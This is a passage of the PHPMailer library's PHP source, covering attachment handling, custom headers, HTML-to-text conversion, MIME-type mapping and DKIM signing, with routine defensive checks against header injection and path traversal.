for what that means * * @return string */ public function encodeQ($str, $position = 'text') { //There should not be any EOL in the string $pattern = ''; $encoded = str_replace(["\r", "\n"], '', $str); switch (strtolower($position)) { case 'phrase': //RFC 2047 section 5.3 $pattern = '^A-Za-z0-9!*+\/ -'; break; /* * RFC 2047 section 5.2. * Build $pattern without including delimiters and [] */ /* @noinspection PhpMissingBreakStatementInspection */ case 'comment': $pattern = '\(\)"'; /* Intentional fall through */ case 'text': default: //RFC 2047 section 5.1 //Replace every high ascii, control, =, ? and _ characters $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern; break; } $matches = []; if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { //If the string contains an '=', make sure it's the first thing we replace //so as to avoid double-encoding $eqkey = array_search('=', $matches[0], true); if (false !== $eqkey) { unset($matches[0][$eqkey]); array_unshift($matches[0], '='); } foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded); } } //Replace spaces with _ (more readable than =20) //RFC 2047 section 4.2(2) return str_replace(' ', '_', $encoded); } /** * Add a string or binary attachment (non-filesystem). * This method can be used to attach ascii or binary data, * such as a BLOB record from a database. * * @param string $string String attachment data * @param string $filename Name of the attachment * @param string $encoding File encoding (see $Encoding) * @param string $type File extension (MIME) type * @param string $disposition Disposition to use * * @throws Exception * * @return bool True on successfully adding an attachment */ public function addStringAttachment( $string, $filename, $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'attachment' ) { try { //If a MIME type is not specified, try to work it out from the file name if ('' === $type) { $type = static::filenameToType($filename); } if (!$this->validateEncoding($encoding)) { throw new Exception($this->lang('encoding') . $encoding); } //Append to $attachment array $this->attachment[] = [ 0 => $string, 1 => $filename, 2 => static::mb_pathinfo($filename, PATHINFO_BASENAME), 3 => $encoding, 4 => $type, 5 => true, //isStringAttachment 6 => $disposition, 7 => 0, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Add an embedded (inline) attachment from a file. * This can include images, sounds, and just about any other document type. * These differ from 'regular' attachments in that they are intended to be * displayed inline with the message, not just attached for download. * This is used in HTML messages that embed the images * the HTML refers to using the `$cid` value in `img` tags, for example `<img src="cid:mylogo">`. * Never use a user-supplied path to a file! * * @param string $path Path to the attachment * @param string $cid Content ID of the attachment; Use this to reference * the content when using an embedded image in HTML * @param string $name Overrides the attachment filename * @param string $encoding File encoding (see $Encoding) defaults to `base64` * @param string $type File MIME type (by default mapped from the `$path` filename's extension) * @param string $disposition Disposition to use: `inline` (default) or `attachment` * (unlikely you want this – {@see `addAttachment()`} instead) * * @return bool True on successfully adding an attachment * @throws Exception * */ public function addEmbeddedImage( $path, $cid, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'inline' ) { try { if (!static::fileIsAccessible($path)) { throw new Exception($this->lang('file_access') . $path, self::STOP_CONTINUE); } //If a MIME type is not specified, try to work it out from the file name if ('' === $type) { $type = static::filenameToType($path); } if (!$this->validateEncoding($encoding)) { throw new Exception($this->lang('encoding') . $encoding); } $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME); if ('' === $name) { $name = $filename; } //Append to $attachment array $this->attachment[] = [ 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, //isStringAttachment 6 => $disposition, 7 => $cid, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Add an embedded stringified attachment. * This can include images, sounds, and just about any other document type. * If your filename doesn't contain an extension, be sure to set the $type to an appropriate MIME type. * * @param string $string The attachment binary data * @param string $cid Content ID of the attachment; Use this to reference * the content when using an embedded image in HTML * @param string $name A filename for the attachment. If this contains an extension, * PHPMailer will attempt to set a MIME type for the attachment. * For example 'file.jpg' would get an 'image/jpeg' MIME type. * @param string $encoding File encoding (see $Encoding), defaults to 'base64' * @param string $type MIME type - will be used in preference to any automatically derived type * @param string $disposition Disposition to use * * @throws Exception * * @return bool True on successfully adding an attachment */ public function addStringEmbeddedImage( $string, $cid, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'inline' ) { try { //If a MIME type is not specified, try to work it out from the name if ('' === $type && !empty($name)) { $type = static::filenameToType($name); } if (!$this->validateEncoding($encoding)) { throw new Exception($this->lang('encoding') . $encoding); } //Append to $attachment array $this->attachment[] = [ 0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, //isStringAttachment 6 => $disposition, 7 => $cid, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Validate encodings. * * @param string $encoding * * @return bool */ protected function validateEncoding($encoding) { return in_array( $encoding, [ self::ENCODING_7BIT, self::ENCODING_QUOTED_PRINTABLE, self::ENCODING_BASE64, self::ENCODING_8BIT, self::ENCODING_BINARY, ], true ); } /** * Check if an embedded attachment is present with this cid. * * @param string $cid * * @return bool */ protected function cidExists($cid) { foreach ($this->attachment as $attachment) { if ('inline' === $attachment[6] && $cid === $attachment[7]) { return true; } } return false; } /** * Check if an inline attachment is present. * * @return bool */ public function inlineImageExists() { foreach ($this->attachment as $attachment) { if ('inline' === $attachment[6]) { return true; } } return false; } /** * Check if an attachment (non-inline) is present. * * @return bool */ public function attachmentExists() { foreach ($this->attachment as $attachment) { if ('attachment' === $attachment[6]) { return true; } } return false; } /** * Check if this message has an alternative body set. * * @return bool */ public function alternativeExists() { return !empty($this->AltBody); } /** * Clear queued addresses of given kind. * * @param string $kind 'to', 'cc', or 'bcc' */ public function clearQueuedAddresses($kind) { $this->RecipientsQueue = array_filter( $this->RecipientsQueue, static function ($params) use ($kind) { return $params[0] !== $kind; } ); } /** * Clear all To recipients. */ public function clearAddresses() { foreach ($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]); } $this->to = []; $this->clearQueuedAddresses('to'); } /** * Clear all CC recipients. */ public function clearCCs() { foreach ($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]); } $this->cc = []; $this->clearQueuedAddresses('cc'); } /** * Clear all BCC recipients. */ public function clearBCCs() { foreach ($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]); } $this->bcc = []; $this->clearQueuedAddresses('bcc'); } /** * Clear all ReplyTo recipients. */ public function clearReplyTos() { $this->ReplyTo = []; $this->ReplyToQueue = []; } /** * Clear all recipient types. */ public function clearAllRecipients() { $this->to = []; $this->cc = []; $this->bcc = []; $this->all_recipients = []; $this->RecipientsQueue = []; } /** * Clear all filesystem, string, and binary attachments. */ public function clearAttachments() { $this->attachment = []; } /** * Clear all custom headers. */ public function clearCustomHeaders() { $this->CustomHeader = []; } /** * Clear a specific custom header by name or name and value. * $name value can be overloaded to contain * both header name and value (name:value). * * @param string $name Custom header name * @param string|null $value Header value * * @return bool True if a header was replaced successfully */ public function clearCustomHeader($name, $value = null) { if (null === $value && strpos($name, ':') !== false) { //Value passed in as name:value list($name, $value) = explode(':', $name, 2); } $name = trim($name); $value = (null === $value) ? null : trim($value); foreach ($this->CustomHeader as $k => $pair) { if ($pair[0] == $name) { // We remove the header if the value is not provided or it matches. if (null === $value || $pair[1] == $value) { unset($this->CustomHeader[$k]); } } } return true; } /** * Replace a custom header. * $name value can be overloaded to contain * both header name and value (name:value). * * @param string $name Custom header name * @param string|null $value Header value * * @return bool True if a header was replaced successfully * @throws Exception */ public function replaceCustomHeader($name, $value = null) { if (null === $value && strpos($name, ':') !== false) { //Value passed in as name:value list($name, $value) = explode(':', $name, 2); } $name = trim($name); $value = (null === $value) ? '' : trim($value); $replaced = false; foreach ($this->CustomHeader as $k => $pair) { if ($pair[0] == $name) { if ($replaced) { unset($this->CustomHeader[$k]); continue; } if (strpbrk($name . $value, "\r\n") !== false) { if ($this->exceptions) { throw new Exception($this->lang('invalid_header')); } return false; } $this->CustomHeader[$k] = [$name, $value]; $replaced = true; } } return true; } /** * Add an error message to the error container. * * @param string $msg */ protected function setError($msg) { ++$this->error_count; if ('smtp' === $this->Mailer && null !== $this->smtp) { $lasterror = $this->smtp->getError(); if (!empty($lasterror['error'])) { $msg .= $this->lang('smtp_error') . $lasterror['error']; if (!empty($lasterror['detail'])) { $msg .= ' ' . $this->lang('smtp_detail') . $lasterror['detail']; } if (!empty($lasterror['smtp_code'])) { $msg .= ' ' . $this->lang('smtp_code') . $lasterror['smtp_code']; } if (!empty($lasterror['smtp_code_ex'])) { $msg .= ' ' . $this->lang('smtp_code_ex') . $lasterror['smtp_code_ex']; } } } $this->ErrorInfo = $msg; } /** * Return an RFC 822 formatted date. * * @return string */ public static function rfcDate() { //Set the time zone to whatever the default is to avoid 500 errors //Will default to UTC if it's not set properly in php.ini date_default_timezone_set(@date_default_timezone_get()); return date('D, j M Y H:i:s O'); } /** * Get the server hostname. * Returns 'localhost.localdomain' if unknown. * * @return string */ protected function serverHostname() { $result = ''; if (!empty($this->Hostname)) { $result = $this->Hostname; } elseif (isset($_SERVER) && array_key_exists('SERVER_NAME', $_SERVER)) { $result = $_SERVER['SERVER_NAME']; } elseif (function_exists('gethostname') && gethostname() !== false) { $result = gethostname(); } elseif (php_uname('n') !== false) { $result = php_uname('n'); } if (!static::isValidHost($result)) { return 'localhost.localdomain'; } return $result; } /** * Validate whether a string contains a valid value to use as a hostname or IP address. * IPv6 addresses must include [], e.g. `[::1]`, not just `::1`. * * @param string $host The host name or IP address to check * * @return bool */ public static function isValidHost($host) { //Simple syntax limits if ( empty($host) || !is_string($host) || strlen($host) > 256 || !preg_match('/^([a-zA-Z\d.-]*|\[[a-fA-F\d:]+\])$/', $host) ) { return false; } //Looks like a bracketed IPv6 address if (strlen($host) > 2 && substr($host, 0, 1) === '[' && substr($host, -1, 1) === ']') { return filter_var(substr($host, 1, -1), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; } //If removing all the dots results in a numeric string, it must be an IPv4 address. //Need to check this first because otherwise things like `999.0.0.0` are considered valid host names if (is_numeric(str_replace('.', '', $host))) { //Is it a valid IPv4 address? return filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false; } //Is it a syntactically valid hostname (when embeded in a URL)? return filter_var('http://' . $host, FILTER_VALIDATE_URL) !== false; } /** * Get an error message in the current language. * * @param string $key * * @return string */ protected function lang($key) { if (count($this->language) < 1) { $this->setLanguage(); //Set the default language } if (array_key_exists($key, $this->language)) { if ('smtp_connect_failed' === $key) { //Include a link to troubleshooting docs on SMTP connection failure. //This is by far the biggest cause of support questions //but it's usually not PHPMailer's fault. return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting'; } return $this->language[$key]; } //Return the key as a fallback return $key; } /** * Build an error message starting with a generic one and adding details if possible. * * @param string $base_key * @return string */ private function getSmtpErrorMessage($base_key) { $message = $this->lang($base_key); $error = $this->smtp->getError(); if (!empty($error['error'])) { $message .= ' ' . $error['error']; if (!empty($error['detail'])) { $message .= ' ' . $error['detail']; } } return $message; } /** * Check if an error occurred. * * @return bool True if an error did occur */ public function isError() { return $this->error_count > 0; } /** * Add a custom header. * $name value can be overloaded to contain * both header name and value (name:value). * * @param string $name Custom header name * @param string|null $value Header value * * @return bool True if a header was set successfully * @throws Exception */ public function addCustomHeader($name, $value = null) { if (null === $value && strpos($name, ':') !== false) { //Value passed in as name:value list($name, $value) = explode(':', $name, 2); } $name = trim($name); $value = (null === $value) ? '' : trim($value); //Ensure name is not empty, and that neither name nor value contain line breaks if (empty($name) || strpbrk($name . $value, "\r\n") !== false) { if ($this->exceptions) { throw new Exception($this->lang('invalid_header')); } return false; } $this->CustomHeader[] = [$name, $value]; return true; } /** * Returns all custom headers. * * @return array */ public function getCustomHeaders() { return $this->CustomHeader; } /** * Create a message body from an HTML string. * Automatically inlines images and creates a plain-text version by converting the HTML, * overwriting any existing values in Body and AltBody. * Do not source $message content from user input! * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty * will look for an image file in $basedir/images/a.png and convert it to inline. * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email) * Converts data-uri images into embedded attachments. * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly. * * @param string $message HTML message string * @param string $basedir Absolute path to a base directory to prepend to relative paths to images * @param bool|callable $advanced Whether to use the internal HTML to text converter * or your own custom converter * @return string The transformed message body * * @throws Exception * * @see PHPMailer::html2text() */ public function msgHTML($message, $basedir = '', $advanced = false) { preg_match_all('/(?<!-)(src|background)=["\'](.*)["\']/Ui', $message, $images); if (array_key_exists(2, $images)) { if (strlen($basedir) > 1 && '/' !== substr($basedir, -1)) { //Ensure $basedir has a trailing / $basedir .= '/'; } foreach ($images[2] as $imgindex => $url) { //Convert data URIs into embedded images //e.g. "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" $match = []; if (preg_match('#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#', $url, $match)) { if (count($match) === 4 && static::ENCODING_BASE64 === $match[2]) { $data = base64_decode($match[3]); } elseif ('' === $match[2]) { $data = rawurldecode($match[3]); } else { //Not recognised so leave it alone continue; } //Hash the decoded data, not the URL, so that the same data-URI image used in multiple places //will only be embedded once, even if it used a different encoding $cid = substr(hash('sha256', $data), 0, 32) . '@phpmailer.0'; //RFC2392 S 2 if (!$this->cidExists($cid)) { $this->addStringEmbeddedImage( $data, $cid, 'embed' . $imgindex, static::ENCODING_BASE64, $match[1] ); } $message = str_replace( $images[0][$imgindex], $images[1][$imgindex] . '="cid:' . $cid . '"', $message ); continue; } if ( //Only process relative URLs if a basedir is provided (i.e. no absolute local paths) !empty($basedir) //Ignore URLs containing parent dir traversal (..) && (strpos($url, '..') === false) //Do not change urls that are already inline images && 0 !== strpos($url, 'cid:') //Do not change absolute URLs, including anonymous protocol && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url) ) { $filename = static::mb_pathinfo($url, PATHINFO_BASENAME); $directory = dirname($url); if ('.' === $directory) { $directory = ''; } //RFC2392 S 2 $cid = substr(hash('sha256', $url), 0, 32) . '@phpmailer.0'; if (strlen($basedir) > 1 && '/' !== substr($basedir, -1)) { $basedir .= '/'; } if (strlen($directory) > 1 && '/' !== substr($directory, -1)) { $directory .= '/'; } if ( $this->addEmbeddedImage( $basedir . $directory . $filename, $cid, $filename, static::ENCODING_BASE64, static::_mime_types((string) static::mb_pathinfo($filename, PATHINFO_EXTENSION)) ) ) { $message = preg_replace( '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message ); } } } } $this->isHTML(); //Convert all message body line breaks to LE, makes quoted-printable encoding work much better $this->Body = static::normalizeBreaks($message); $this->AltBody = static::normalizeBreaks($this->html2text($message, $advanced)); if (!$this->alternativeExists()) { $this->AltBody = 'This is an HTML-only message. To view it, activate HTML in your email application.' . static::$LE; } return $this->Body; } /** * Convert an HTML string into plain text. * This is used by msgHTML(). * Note - older versions of this function used a bundled advanced converter * which was removed for license reasons in #232. * Example usage: * * ```php * //Use default conversion * $plain = $mail->html2text($html); * //Use your own custom converter * $plain = $mail->html2text($html, function($html) { * $converter = new MyHtml2text($html); * return $converter->get_text(); * }); * ``` * * @param string $html The HTML text to convert * @param bool|callable $advanced Any boolean value to use the internal converter, * or provide your own callable for custom conversion. * *Never* pass user-supplied data into this parameter * * @return string */ public function html2text($html, $advanced = false) { if (is_callable($advanced)) { return call_user_func($advanced, $html); } return html_entity_decode( trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), ENT_QUOTES, $this->CharSet ); } /** * Get the MIME type for a file extension. * * @param string $ext File extension * * @return string MIME type of file */ public static function _mime_types($ext = '') { $mimes = [ 'xl' => 'application/excel', 'js' => 'application/javascript', 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'bin' => 'application/macbinary', 'doc' => 'application/msword', 'word' => 'application/msword', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'class' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'dms' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'so' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'm4a' => 'audio/mp4', 'mpga' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'wav' => 'audio/x-wav', 'mka' => 'audio/x-matroska', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'webp' => 'image/webp', 'avif' => 'image/avif', 'heif' => 'image/heif', 'heifs' => 'image/heif-sequence', 'heic' => 'image/heic', 'heics' => 'image/heic-sequence', 'eml' => 'message/rfc822', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'log' => 'text/plain', 'text' => 'text/plain', 'txt' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'vcf' => 'text/vcard', 'vcard' => 'text/vcard', 'ics' => 'text/calendar', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'csv' => 'text/csv', 'wmv' => 'video/x-ms-wmv', 'mpeg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mp4' => 'video/mp4', 'm4v' => 'video/mp4', 'mov' => 'video/quicktime', 'qt' => 'video/quicktime', 'rv' => 'video/vnd.rn-realvideo', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie', 'webm' => 'video/webm', 'mkv' => 'video/x-matroska', ]; $ext = strtolower($ext); if (array_key_exists($ext, $mimes)) { return $mimes[$ext]; } return 'application/octet-stream'; } /** * Map a file name to a MIME type. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data. * * @param string $filename A file name or full path, does not need to exist as a file * * @return string */ public static function filenameToType($filename) { //In case the path is a URL, strip any query string before getting extension $qpos = strpos($filename, '?'); if (false !== $qpos) { $filename = substr($filename, 0, $qpos); } $ext = static::mb_pathinfo($filename, PATHINFO_EXTENSION); return static::_mime_types($ext); } /** * Multi-byte-safe pathinfo replacement. * Drop-in replacement for pathinfo(), but multibyte- and cross-platform-safe. * * @see http://www.php.net/manual/en/function.pathinfo.php#107461 * * @param string $path A filename or path, does not need to exist as a file * @param int|string $options Either a PATHINFO_* constant, * or a string name to return only the specified piece * * @return string|array */ public static function mb_pathinfo($path, $options = null) { $ret = ['dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '']; $pathinfo = []; if (preg_match('#^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^.\\\\/]+?)|))[\\\\/.]*$#m', $path, $pathinfo)) { if (array_key_exists(1, $pathinfo)) { $ret['dirname'] = $pathinfo[1]; } if (array_key_exists(2, $pathinfo)) { $ret['basename'] = $pathinfo[2]; } if (array_key_exists(5, $pathinfo)) { $ret['extension'] = $pathinfo[5]; } if (array_key_exists(3, $pathinfo)) { $ret['filename'] = $pathinfo[3]; } } switch ($options) { case PATHINFO_DIRNAME: case 'dirname': return $ret['dirname']; case PATHINFO_BASENAME: case 'basename': return $ret['basename']; case PATHINFO_EXTENSION: case 'extension': return $ret['extension']; case PATHINFO_FILENAME: case 'filename': return $ret['filename']; default: return $ret; } } /** * Set or reset instance properties. * You should avoid this function - it's more verbose, less efficient, more error-prone and * harder to debug than setting properties directly. * Usage Example: * `$mail->set('SMTPSecure', static::ENCRYPTION_STARTTLS);` * is the same as: * `$mail->SMTPSecure = static::ENCRYPTION_STARTTLS;`. * * @param string $name The property name to set * @param mixed $value The value to set the property to * * @return bool */ public function set($name, $value = '') { if (property_exists($this, $name)) { $this->{$name} = $value; return true; } $this->setError($this->lang('variable_set') . $name); return false; } /** * Strip newlines to prevent header injection. * * @param string $str * * @return string */ public function secureHeader($str) { return trim(str_replace(["\r", "\n"], '', $str)); } /** * Normalize line breaks in a string. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format. * Defaults to CRLF (for message bodies) and preserves consecutive breaks. * * @param string $text * @param string $breaktype What kind of line break to use; defaults to static::$LE * * @return string */ public static function normalizeBreaks($text, $breaktype = null) { if (null === $breaktype) { $breaktype = static::$LE; } //Normalise to \n $text = str_replace([self::CRLF, "\r"], "\n", $text); //Now convert LE as needed if ("\n" !== $breaktype) { $text = str_replace("\n", $breaktype, $text); } return $text; } /** * Remove trailing whitespace from a string. * * @param string $text * * @return string The text to remove whitespace from */ public static function stripTrailingWSP($text) { return rtrim($text, " \r\n\t"); } /** * Strip trailing line breaks from a string. * * @param string $text * * @return string The text to remove breaks from */ public static function stripTrailingBreaks($text) { return rtrim($text, "\r\n"); } /** * Return the current line break format string. * * @return string */ public static function getLE() { return static::$LE; } /** * Set the line break format string, e.g. "\r\n". * * @param string $le */ protected static function setLE($le) { static::$LE = $le; } /** * Set the public and private key files and password for S/MIME signing. * * @param string $cert_filename * @param string $key_filename * @param string $key_pass Password for private key * @param string $extracerts_filename Optional path to chain certificate */ public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') { $this->sign_cert_file = $cert_filename; $this->sign_key_file = $key_filename; $this->sign_key_pass = $key_pass; $this->sign_extracerts_file = $extracerts_filename; } /** * Quoted-Printable-encode a DKIM header. * * @param string $txt * * @return string */ public function DKIM_QP($txt) { $line = ''; $len = strlen($txt); for ($i = 0; $i < $len; ++$i) { $ord = ord($txt[$i]); if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord === 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) { $line .= $txt[$i]; } else { $line .= '=' . sprintf('%02X', $ord); } } return $line; } /** * Generate a DKIM signature. * * @param string $signHeader * * @throws Exception * * @return string The DKIM signature value */ public function DKIM_Sign($signHeader) { if (!defined('PKCS7_TEXT')) { if ($this->exceptions) { throw new Exception($this->lang('extension_missing') . 'openssl'); } return ''; } $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); if ('' !== $this->DKIM_passphrase) { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); } else { $privKey = openssl_pkey_get_private($privKeyStr); } if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) { if (\PHP_MAJOR_VERSION < 8) { openssl_pkey_free($privKey); } return base64_encode($signature); } if (\PHP_MAJOR_VERSION < 8) { openssl_pkey_free($privKey); } return ''; } /** * Generate a DKIM canonicalization header. * Uses the 'relaxed' algorithm from RFC6376 section 3.4.2. * Canonicalized headers should *always* use CRLF, regardless of mailer setting. * * @see https://tools.ietf.org/html/rfc6376#section-3.4.2 * * @param string $signHeader Header * * @return string */ public function DKIM_HeaderC($signHeader) { //Normalize breaks to CRLF (regardless of the mailer) $signHeader = static::normalizeBreaks($signHeader, self::CRLF); //Unfold header lines //Note PCRE \s is too broad a definition of whitespace; RFC5322 defines it as `[ \t]` //@see https://tools.ietf.org/html/rfc5322#section-2.2 //That means this may break if you do something daft like put vertical tabs in your headers. $signHeader = preg_replace('/\r\n[ \t]+/', ' ', $signHeader); //Break headers out into an array $lines = explode(self::CRLF, $signHeader); foreach ($lines as $key => $line) { //If the header is missing a :, skip it as it's invalid //This is likely to happen because the explode() above will also split //on the trailing LE, leaving an empty line if (strpos($line, ':') === false) { continue; } list($heading, $value) = explode(':', $line, 2); //Lower-case header name $heading = strtolower($heading); //Collapse white space within the value, also convert WSP to space $value = preg_replace('/[ \t]+/', ' ', $value); //RFC6376 is slightly unclear here - it says to delete space at the *end* of each value //But then says to delete space before and after the colon. //Net result is the same as trimming both ends of the value. //By elimination, the same applies to the field name $lines[$key] = trim($heading, " \t") . ':' . trim($value, " \t"); } return implode(self::CRLF, $lines); } /** * Generate a DKIM canonicalization body. * Uses the 'simple' algorithm from RFC6376 section 3.4.3. * Canonicalized bodies should *always* use CRLF, regardless of mailer setting. * * @see https://tools.ietf.org/html/rfc6376#section-3.4.3 * * @param string $body Message Body * * @return string */ public function DKIM_BodyC($body) { if (empty($body)) { return self::CRLF; } //Normalize line endings to CRLF $body = static::normalizeBreaks($body, self::CRLF); //Reduce multiple trailing line breaks to a single one return static::stripTrailingBreaks($body) . self::CRLF; } /** * Create the DKIM header and body in a new message header. * * @param string $headers_line Header lines * @param string $subject Subject * @param string $body Body * * @throws Exception * * @return string */ public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = 'rsa-sha256'; //Signature & hash algorithms $DKIMcanonicalization = 'relaxed/simple'; //Canonicalization methods of header & body $DKIMquery = 'dns/txt'; //Query method $DKIMtime = time(); //Always sign these headers without being asked //Recommended list from https://tools.ietf.org/html/rfc6376#section-5.4.1 $autoSignHeaders = [ 'from', 'to', 'cc', 'date', 'subject', 'reply-to', 'message-id', 'content-type', 'mime-version', 'x-mailer', ]; if (stripos($headers_line, 'Subject') === false) { $headers_line .= 'Subject: ' . $subject . static::$LE; } $headerLines = explode(static::$LE, $headers_line); $currentHeaderLabel = ''; $currentHeaderValue = ''; $parsedHeaders = []; $headerLineIndex = 0; $headerLineCount = count($headerLines); foreach ($headerLines as $headerLine) { $matches = []; if (preg_match('/^([^ \t]*?)(?::[ \t]*)(.*)$/', $headerLine, $matches)) { if ($currentHeaderLabel !== '') { //We were previously in another header; This is the start of a new header, so save the previous one $parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue]; } $currentHeaderLabel = $matches[1]; $currentHeaderValue = $matches[2]; } elseif (preg_match('/^[ \t]+(.*)$/', $headerLine, $matches)) { //This is a folded continuation of the current header, so unfold it $currentHeaderValue .= ' ' . $matches[1]; } ++$headerLineIndex; if ($headerLineIndex >= $headerLineCount) { //This was the last line, so finish off this header $parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue]; } } $copiedHeaders = []; $headersToSignKeys = []; $headersToSign = []; foreach ($parsedHeaders as $header) { //Is this header one that must be included in the DKIM signature? if (in_array(strtolower($header['label']), $autoSignHeaders, true)) { $headersToSignKeys[] = $header['label']; $headersToSign[] = $header['label'] . ': ' . $header['value']; if ($this->DKIM_copyHeaderFields) { $copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC str_replace('|', '=7C', $this->DKIM_QP($header['value'])); } continue; } //Is this an extra custom header we've been asked to sign? if (in_array($header['label'], $this->DKIM_extraHeaders, true)) { //Find its value in custom headers foreach ($this->CustomHeader as $customHeader) { if ($customHeader[0] === $header['label']) { $headersToSignKeys[] = $header['label']; $headersToSign[] = $header['label'] . ': ' . $header['value']; if ($this->DKIM_copyHeaderFields) { $copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC str_replace('|', '=7C', $this->DKIM_QP($header['value'])); } //Skip straight to the next header continue 2; } } } } $copiedHeaderFields = ''; if ($this->DKIM_copyHeaderFields && count($copiedHeaders) > 0) { //Assemble a DKIM 'z' tag $copiedHeaderFields = ' z='; $first = true; foreach ($copiedHeaders as $copiedHeader) { if (!$first) { $copiedHeaderFields .= static::$LE . ' |'; } //Fold long values if (strlen($copiedHeader) > self::STD_LINE_LENGTH - 3) { $copiedHeaderFields .= substr( chunk_split($copiedHeader, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS), 0, -strlen(static::$LE . self::FWS) ); } else { $copiedHeaderFields .= $copiedHeader; } $first = false; } $copiedHeaderFields .= ';' . static::$LE; } $headerKeys = ' h=' . implode(':', $headersToSignKeys) . ';' . static::$LE; $headerValues 